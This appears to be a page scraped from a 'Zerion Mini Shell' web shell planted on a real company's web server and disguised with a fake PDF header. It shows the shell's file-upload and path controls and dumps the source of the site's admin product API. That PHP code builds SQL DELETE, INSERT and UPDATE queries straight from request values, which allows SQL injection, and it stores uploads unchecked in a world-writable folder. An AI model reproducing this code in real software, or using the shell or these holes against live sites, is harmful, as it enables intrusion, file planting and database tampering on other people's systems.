%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/riacommer/domains/gasworld.com.my/private_html/admin/api/
Upload File :
Create Path :
Current File : /home/riacommer/domains/gasworld.com.my/private_html/admin/api/product.php

<?php
//error_reporting(-1); //report all error!
include_once("security.php");
include_once("db.php");
include_once ("imageresize.php");
//[product]

//for delete only
if(isset($_GET["id"])){
	if($_GET["id"]!=""){
		$id = $_GET["id"];
		$sql = "DELETE FROM sa_product WHERE id='$id'";
		mysql_query($sql);
		header("Location: http://" .$_SERVER['HTTP_HOST'] . str_replace("/api", "", dirname($_SERVER['PHP_SELF'])) ."/product.php");
	} else {
		header("Location: http://" .$_SERVER['HTTP_HOST'] . str_replace("/api", "", dirname($_SERVER['PHP_SELF'])) ."/400.php");
	}
} else {
//for create, update
if(isset($_POST["act"])){
	$act = trim($_POST["act"]);

	$extra_image1='';
	$extra_image2='';
	$extra_image3='';
	
	//business logic code here
	$tmp_name = $_FILES["product_image"]["tmp_name"];
	$product_image = $_FILES["product_image"]["name"];
	
	if(isset($_FILES["extra_image1"])){
		$extra1_tmp_name = $_FILES["extra_image1"]["tmp_name"];
		$extra_image1 = $_FILES["extra_image1"]["name"];
	}
	
	if(isset($_FILES["extra_image2"])){
		$extra2_tmp_name = $_FILES["extra_image2"]["tmp_name"];
		$extra_image2 = $_FILES["extra_image2"]["name"];
	}
	
	if(isset($_FILES["extra_image3"])){
		$extra3_tmp_name = $_FILES["extra_image3"]["tmp_name"];
		$extra_image3 = $_FILES["extra_image3"]["name"];
	}
	
	$section_id = $_POST["section_id"];
	$brand_id = $_POST["brand_id"];
	
	
	$product_category_id = $_POST["product_category_id"];
	$product_code = $_POST["product_code"];
	$product_name= $_POST["product_name"];
	$product_desp = str_replace("'", "''", $_POST["product_desp"]);
	
	$meta_title = $_POST["meta_title"];
	$meta_keywords = $_POST["meta_keywords"];
	$meta_desp = $_POST["meta_desp"];
	
	if(isset($_POST["publish"])){
		$publish='1';
	} else {
		$publish='0';
	}
	
	if($act=="create"){
	
		if(!file_exists("../../contents/products")){
			mkdir("../../contents/products", 0777, true);
		}
	
		$dmyHMS = date('Ymdhis');
	
		if($product_image!=""){
			move_uploaded_file($tmp_name, "../../contents/products/".$dmyHMS.'_'.$product_image);
			//resize to 260 x 260
			if($product_image!=""){
				$imgrz= new ImageResize();
				$imgrz->doResize("../../contents/products/".$dmyHMS.'_'.$product_image, 260, 260, "../../contents/products/thumb_".$dmyHMS.'_'.$product_image);
			}
			$product_image = $dmyHMS.'_'.$product_image;
		}
	
		if($extra_image1!=''){
			move_uploaded_file($extra1_tmp_name, "../../contents/products/".$dmyHMS.'_'.$extra_image1);
			$extra_image1 = $dmyHMS.'_'.$extra_image1;
		}
		if($extra_image2!=''){
			move_uploaded_file($extra2_tmp_name, "../../contents/products/".$dmyHMS.'_'.$extra_image2);
			$extra_image2 = $dmyHMS.'_'.$extra_image2;
		}
		if($extra_image3!=''){
			move_uploaded_file($extra3_tmp_name, "../../contents/products/".$dmyHMS.'_'.$extra_image3);
			$extra_image3 = $dmyHMS.'_'.$extra_image3;
		}
	
		$sql = "INSERT INTO sa_product (section_id, brand_id, product_category_id, product_code, product_name, product_image, product_desp, extra_image1, extra_image2, extra_image3, meta_title, meta_keywords, meta_desp, publish, created_date) VALUES ('$section_id', '$brand_id', '$product_category_id', '$product_code', '$product_name', '$product_image', '$product_desp', '$extra_image1', '$extra_image2', '$extra_image3', '$meta_title', '$meta_keywords', '$meta_desp', '$publish', now())";
		mysql_query($sql);
		
		header("Location: http://" .$_SERVER['HTTP_HOST'] . str_replace("/api", "", dirname($_SERVER['PHP_SELF'])) ."/product.php");
		
		
	} else if($act=="update"){
		$id = trim($_POST["id"]);
		
		if(!file_exists("../../contents/products")){
			mkdir("../../contents/products", 0777, true);
		}
		
		$dmyHMS = date('Ymdhis');
	
		if($product_image!=""){
			move_uploaded_file($tmp_name, "../../contents/products/".$dmyHMS.'_'.$product_image);
			//resize to 260 x 260
			if($product_image!=""){
				$imgrz= new ImageResize();
				$imgrz->doResize("../../contents/products/".$dmyHMS.'_'.$product_image, 260, 260, "../../contents/products/thumb_".$dmyHMS.'_'.$product_image);
			}
			$product_image = $dmyHMS.'_'.$product_image;
		}
	
		if($extra_image1!=''){
			move_uploaded_file($extra1_tmp_name, "../../contents/products/".$dmyHMS.'_'.$extra_image1);
			$extra_image1 = $dmyHMS.'_'.$extra_image1;
		}
		if($extra_image2!=''){
			move_uploaded_file($extra2_tmp_name, "../../contents/products/".$dmyHMS.'_'.$extra_image2);
			$extra_image2 = $dmyHMS.'_'.$extra_image2;
		}
		if($extra_image3!=''){
			move_uploaded_file($extra3_tmp_name, "../../contents/products/".$dmyHMS.'_'.$extra_image3);
			$extra_image3 = $dmyHMS.'_'.$extra_image3;
		}
		
		$sql = "UPDATE sa_product SET section_id='$section_id', brand_id='$brand_id', product_category_id='$product_category_id', product_code='$product_code', product_name='$product_name',";
		
		if($product_image!=""){
			 $sql .= "product_image='$product_image',";
		}
		if($extra_image1!=""){
			 $sql .= "extra_image1='$extra_image1',";
		}
		if($extra_image2!=""){
			 $sql .= "extra_image2='$extra_image2',";
		}
		if($extra_image3!=""){
			 $sql .= "extra_image3='$extra_image3',";
		}
		
		$sql .= "product_desp='$product_desp', meta_title='$meta_title', meta_keywords='$meta_keywords', meta_desp='$meta_desp', publish='$publish', last_updated=now() WHERE id='$id'";
		
		mysql_query($sql);
		

		header("Location: http://" .$_SERVER['HTTP_HOST'] . str_replace("/api", "", dirname($_SERVER['PHP_SELF'])) ."/product.php");
	}
} else {
	header("Location: http://" .$_SERVER['HTTP_HOST'] . str_replace("/api", "", dirname($_SERVER['PHP_SELF'])) ."/400.php");
}

}
?>

Zerion Mini Shell 1.0